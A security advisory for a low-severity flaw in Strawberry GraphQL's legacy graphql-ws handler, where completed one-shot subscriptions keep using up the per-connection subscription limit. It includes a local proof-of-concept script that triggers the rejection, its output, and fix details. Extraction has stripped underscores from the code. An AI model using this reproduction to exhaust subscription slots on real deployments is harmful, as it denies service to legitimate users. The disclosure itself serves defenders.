PT-2026-109286 · Pypi · Strawberry Graphql
Publicado
2026-10-09
·
Atualizado
2026-10-09
CVSS v3.1
3.7
Baixa
| Vetor | AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L |
Summary
Strawberry's legacy
graphql-ws subscription handler can retain task and subscription bookkeeping after a one-shot subscription has naturally sent its complete message. When the application configures max subscriptions per connection, the handler counts those completed operations in len(self.tasks). A client that uses distinct operation IDs can therefore reach the configured subscription limit even though the earlier subscriptions have already completed, causing subsequent legitimate subscriptions on the same persistent WebSocket connection to receive Subscription limit reached.This is a conditional connection-level availability and resource-accounting issue. It requires explicit use of the legacy
graphql-ws protocol, a persistent WebSocket connection, one-shot subscriptions that naturally complete, and a configured max subscriptions per connection limit. It is not an unconditional issue in a default Strawberry installation and is distinct from the previously fixed single-connection infinite-subscription issue.Details
The audited snapshot is Strawberry
0.324.4, commit c3caabd1188acda62045e7fd9ba9e37ac430cf96. The relevant implementation is in [[strawberry/subscriptions/protocols/graphql ws/handlers.py](https://github.com/strawberry-graphql/strawberry/blob/c3caabd1188acda62045e7fd9ba9e37ac430cf96/strawberry/subscriptions/protocols/graphql ws/handlers.py)](https://github.com/strawberry-graphql/strawberry/blob/c3caabd1188acda62045e7fd9ba9e37ac430cf96/strawberry/subscriptions/protocols/graphql ws/handlers.py), particularly the operation-start, result-handling, and cleanup paths.When a new operation is started, the handler rejects it once the task count reaches the configured limit:
python
if (
self.max subscriptions per connection is not None
and len(self.tasks) >= self.max subscriptions per connection
):
await self.send message(
ErrorMessage(
type="error",
id=operation id,
payload={"message": "Subscription limit reached"},
)
)
returnThe operation task is stored in
self.tasks, and its result source is stored in self.subscriptions. On normal exhaustion of the result source, handle async results() sends a completion message:python
async for result in result source:
await self.send data message(result, operation id)
await self.send message(
CompleteMessage(type="complete", id=operation id)
)The natural completion path does not call
cleanup operation() before returning. The deletion of the stored operation state is implemented separately:python
async def cleanup operation(self, operation id: str) -> None:
if operation id in self.subscriptions:
await self.subscriptions[operation id].aclose()
del self.subscriptions[operation id]
self.tasks[operation id].cancel()
await self.tasks[operation id]
del self.tasks[operation id]Consequently, after a one-shot operation has sent
complete, its task entry can remain in self.tasks until the client explicitly stops the operation, reuses the same operation ID, or the connection is cleaned up. New operation IDs are compared against the retained task count and can be rejected.The connection-slot impact requires both parts of the behavior:
- the natural-completion path leaves the completed operation accounted for; and
- the legacy handler has
max subscriptions per connectionenabled.
PoC
The following reproduction is local-only and bounded. It uses an in-memory Channels WebSocket fixture, one connection, three one-shot subscriptions, and the legacy
graphql-ws subprotocol. It does not connect to a public endpoint or start a network service.1. Environment installation
Create an isolated virtual environment and install the official Channels integration extra together with the local ASGI test dependency:
bash
python -m pip install "strawberry-graphql[channels]==0.324.4" daphneFor a different tested release, replace
0.324.4 and record the actual installed version. The test uses an in-memory Channels communicator and does not connect to a real server.Record the actual versions before testing:
bash
python -c "import sys, importlib.metadata as m; print(sys.version); print('strawberry-graphql:', m.version('strawberry-graphql')); print('channels:', m.version('channels')); print('Django:', m.version('Django')); print('asgiref:', m.version('asgiref'))"2. Save the bounded test
Save the following as
poc.py:python
import asyncio
from django.conf import settings
if not settings.configured:
settings.configure(
SECRET KEY="local-validation-only",
CHANNEL LAYERS={
"default": {
"BACKEND": "channels.layers.InMemoryChannelLayer",
}
},
)
import strawberry
from channels.testing import WebsocketCommunicator
from strawberry.channels.handlers.ws handler import GraphQLWSConsumer
from strawberry.schema import Schema
from strawberry.subscriptions import GRAPHQL WS PROTOCOL
@strawberry.type
class Query:
@strawberry.field
def ping(self) -> str:
return "pong"
@strawberry.type
class Subscription:
@strawberry.subscription
async def one shot(self) -> str:
yield "marker"
schema = Schema(query=Query, subscription=Subscription)
application = GraphQLWSConsumer.as asgi(
schema=schema,
subscription protocols=(GRAPHQL WS PROTOCOL,),
max subscriptions per connection=2,
)
async def receive until complete(communicator, operation id):
messages = []
for in range(3):
message = await asyncio.wait for(
communicator.receive json from(), timeout=2
)
messages.append(message)
if (
message.get("type") == "complete"
and message.get("id") == operation id
):
return messages
raise AssertionError(
f"no complete message for {operation id}: {messages}"
)
async def main() -> None:
communicator = WebsocketCommunicator(
application,
"/graphql",
subprotocols=[GRAPHQL WS PROTOCOL],
)
connected, accepted protocol = await communicator.connect()
assert connected
assert accepted protocol == GRAPHQL WS PROTOCOL
try:
await communicator.send json to({"type": "connection init"})
ack = await communicator.receive json from()
assert ack["type"] == "connection ack"
query = "subscription { oneShot }"
await communicator.send json to(
{
"type": "start",
"id": "one",
"payload": {"query": query},
}
)
first messages = await receive until complete(
communicator, "one"
)
await communicator.send json to(
{
"type": "start",
"id": "two",
"payload": {"query": query},
}
)
second messages = await receive until complete(
communicator, "two"
)
# Allow completed handler tasks to finish their sends before the
# third operation is started.
await asyncio.sleep(0)
await communicator.send json to(
{
"type": "start",
"id": "three",
"payload": {"query": query},
}
)
third message = await asyncio.wait for(
communicator.receive json from(), timeout=2
)
print(
{
"first": first messages,
"second": second messages,
"third": third message,
}
)
finally:
await communicator.disconnect()
asyncio.run(main())3. Run
bash
python poc.py4. Expected results
A fixed implementation should send
data and complete for both one and two, then permit three to start and complete.The behavior is:
text
{
'first': [
{'type': 'data', 'id': 'one', 'payload': {'data': {'oneShot': 'marker'}}},
{'type': 'complete', 'id': 'one'}
],
'second': [
{'type': 'data', 'id': 'two', 'payload': {'data': {'oneShot': 'marker'}}},
{'type': 'complete', 'id': 'two'}
],
'third': {
'type': 'error',
'id': 'three',
'payload': {'message': 'Subscription limit reached'}
}
}The exact formatting and fields may vary slightly by Strawberry version, but the decisive observation is that
one and two both receive complete, while three receives Subscription limit reached with a different operation ID.Impact
When the legacy
graphql-ws protocol and max subscriptions per connection are enabled, a client can fill the configured operation slots on its persistent connection with one-shot subscriptions that have already completed. Subsequent legitimate operations on that connection may be rejected even though no corresponding subscriptions remain active.The primary demonstrated impact is connection-level availability and incorrect resource accounting. Multiple long-lived connections could increase the amount of retained task/subscription state, but this bounded test does not establish memory exhaustion or cross-connection denial of service.
Exposure depends on:
- the application explicitly enabling the legacy
graphql-wsprotocol; - the application configuring
max subscriptions per connection; - clients being able to maintain a persistent WebSocket connection;
- the resolver exposing a finite operation that naturally completes;
- the absence of effective connection lifetime, connection-count, authorization, or rate limits.
This report does not claim impact on the modern
graphql-transport-ws protocol, on applications without the per-connection cap, or on every deployment. It is distinct from the already fixed unlimited-subscription behavior.Maintainer note
Confirmed and reproduced against 0.327.0. The
max subscriptions per connection feature this affects was introduced in 0.312.3 (#4344), so the affected range is >= 0.312.3, <= 0.327.0.Fixed by https://github.com/strawberry-graphql/strawberry/pull/4610: operations now release their slot when they complete on their own or fail before execution, and a late
stop for a completed operation is a no-op. The fix was released in 0.327.2.Correção
Resource Exhaustion
Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾
Enumeração de Fraquezas
Identificadores relacionados
Produtos afetados
Strawberry Graphql